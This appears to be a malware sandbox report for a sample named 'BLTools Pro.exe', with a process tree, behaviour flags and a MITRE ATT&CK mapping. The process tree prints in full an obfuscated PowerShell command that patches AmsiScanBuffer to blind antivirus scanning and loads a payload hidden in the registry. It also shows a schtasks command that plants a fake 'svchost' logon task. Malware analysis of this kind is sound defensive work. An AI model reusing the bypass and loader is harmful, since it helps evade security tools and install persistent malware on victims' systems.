PID 4196 wrote to memory of 1488	4196	dllhost.exe	36
PID 4196 wrote to memory of 1660	4196	dllhost.exe	37
PID 4196 wrote to memory of 2096	4196	dllhost.exe	38
PID 664 wrote to memory of 2712	664	lsass.exe	46
PID 4196 wrote to memory of 2196	4196	dllhost.exe	40
PID 4196 wrote to memory of 2388	4196	dllhost.exe	41
PID 4196 wrote to memory of 2500	4196	dllhost.exe	42
PID 4196 wrote to memory of 2508	4196	dllhost.exe	43
PID 4196 wrote to memory of 2632	4196	dllhost.exe	44
PID 4196 wrote to memory of 2668	4196	dllhost.exe	45
PID 4196 wrote to memory of 2712	4196	dllhost.exe	46
PID 4196 wrote to memory of 2752	4196	dllhost.exe	47
PID 4196 wrote to memory of 2776	4196	dllhost.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8af2bada-f979-40f5-b8ea-53e1d7c5f1db}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4196

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1116
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ueLLBJocXafN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mnddvSoZZOoHEi,[Parameter(Position=1)][Type]$bAIcBuBKGK)$fYRRoMNuusA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+'el'+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'e'+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+'at'+[Char](101)+'Ty'+'p'+''+'e'+'','Cl'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+'d,'+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+'t'+[Char](111)+'C'+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$fYRRoMNuusA.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+''+'c'+''+'i'+''+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+','+[Char](72)+''+[Char](105)+'de'+'B'+'yS'+[Char](105)+''+[Char](103)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$mnddvSoZZOoHEi).SetImplementationFlags('Ru'+'n'+'t'+[Char](105)+'m'+'e'+''+','+''+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');$fYRRoMNuusA.DefineMethod('I'+[Char](110)+'v'+[Char](111)+'k'+'e'+'',''+'P'+'u'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+'de'+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+''+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+'rt'+'u'+''+'a'+''+'l'+'',$bAIcBuBKGK,$mnddvSoZZOoHEi).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $fYRRoMNuusA.CreateType();}$TDnyWfWzqiAcw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+'n'+[Char](115)+'a'+[Char](102)+''+'e'+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$GEjghhcacpiOIR=$TDnyWfWzqiAcw.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OJzsKGThWAxGgRCgbeX=ueLLBJocXafN @([String])([IntPtr]);$gbtUtyUJSQUcRlCOIiZXXS=ueLLBJocXafN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vttArvQUkDJ=$TDnyWfWzqiAcw.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$xvloPubRCwWIkK=$GEjghhcacpiOIR.Invoke($Null,@([Object]$vttArvQUkDJ,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+'y'+'A'+'')));$gzWwQAxxiJCBWUsfq=$GEjghhcacpiOIR.Invoke($Null,@([Object]$vttArvQUkDJ,[Object](''+'V'+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+'c'+''+[Char](116)+'')));$rHBaFPG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xvloPubRCwWIkK,$OJzsKGThWAxGgRCgbeX).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$rlZhLmzwFeeTZzQpp=$GEjghhcacpiOIR.Invoke($Null,@([Object]$rHBaFPG,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+'ca'+'n'+''+[Char](66)+'u'+[Char](102)+''+'f'+'e'+'r'+'')));$wsNdZvngBi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzWwQAxxiJCBWUsfq,$gbtUtyUJSQUcRlCOIiZXXS).Invoke($rlZhLmzwFeeTZzQpp,[uint32]8,4,[ref]$wsNdZvngBi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$rlZhLmzwFeeTZzQpp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzWwQAxxiJCBWUsfq,$gbtUtyUJSQUcRlCOIiZXXS).Invoke($rlZhLmzwFeeTZzQpp,[uint32]8,0x20,[ref]$wsNdZvngBi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+'W'+'A'+''+[Char](82)+'E').GetValue(''+'$'+''+'7'+''+[Char](55)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1564
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2776

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3456
- C:\Users\Admin\AppData\Local\Temp\BLTools Pro.exe
  "C:\Users\Admin\AppData\Local\Temp\BLTools Pro.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:524
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "svchost" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:544
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Users\Admin\AppData\Local\Temp\Install.exe
      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:3816
    - - C:\Windows\svchost.exe
        
        "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4828
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        
        PID:512
  - - C:\Users\Admin\AppData\Local\Temp\$77.exe
      "C:\Users\Admin\AppData\Local\Temp\$77.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:976
- - C:\Users\Admin\AppData\Local\Temp\BLTools.exe
    "C:\Users\Admin\AppData\Local\Temp\BLTools.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3552

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3900

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3872

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4524

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:5048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3040

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2444

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4396

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3644

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3468

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe f7439b5efe8bd0c9fb81b6dcbbdb2787 YbyPppAGTkKJO7N4kyfBOg.0.1.0.0.0
1⤵
PID:1176
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1628

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3604

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1816

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4656

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:1728

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4924

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4632

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2932

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:2980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery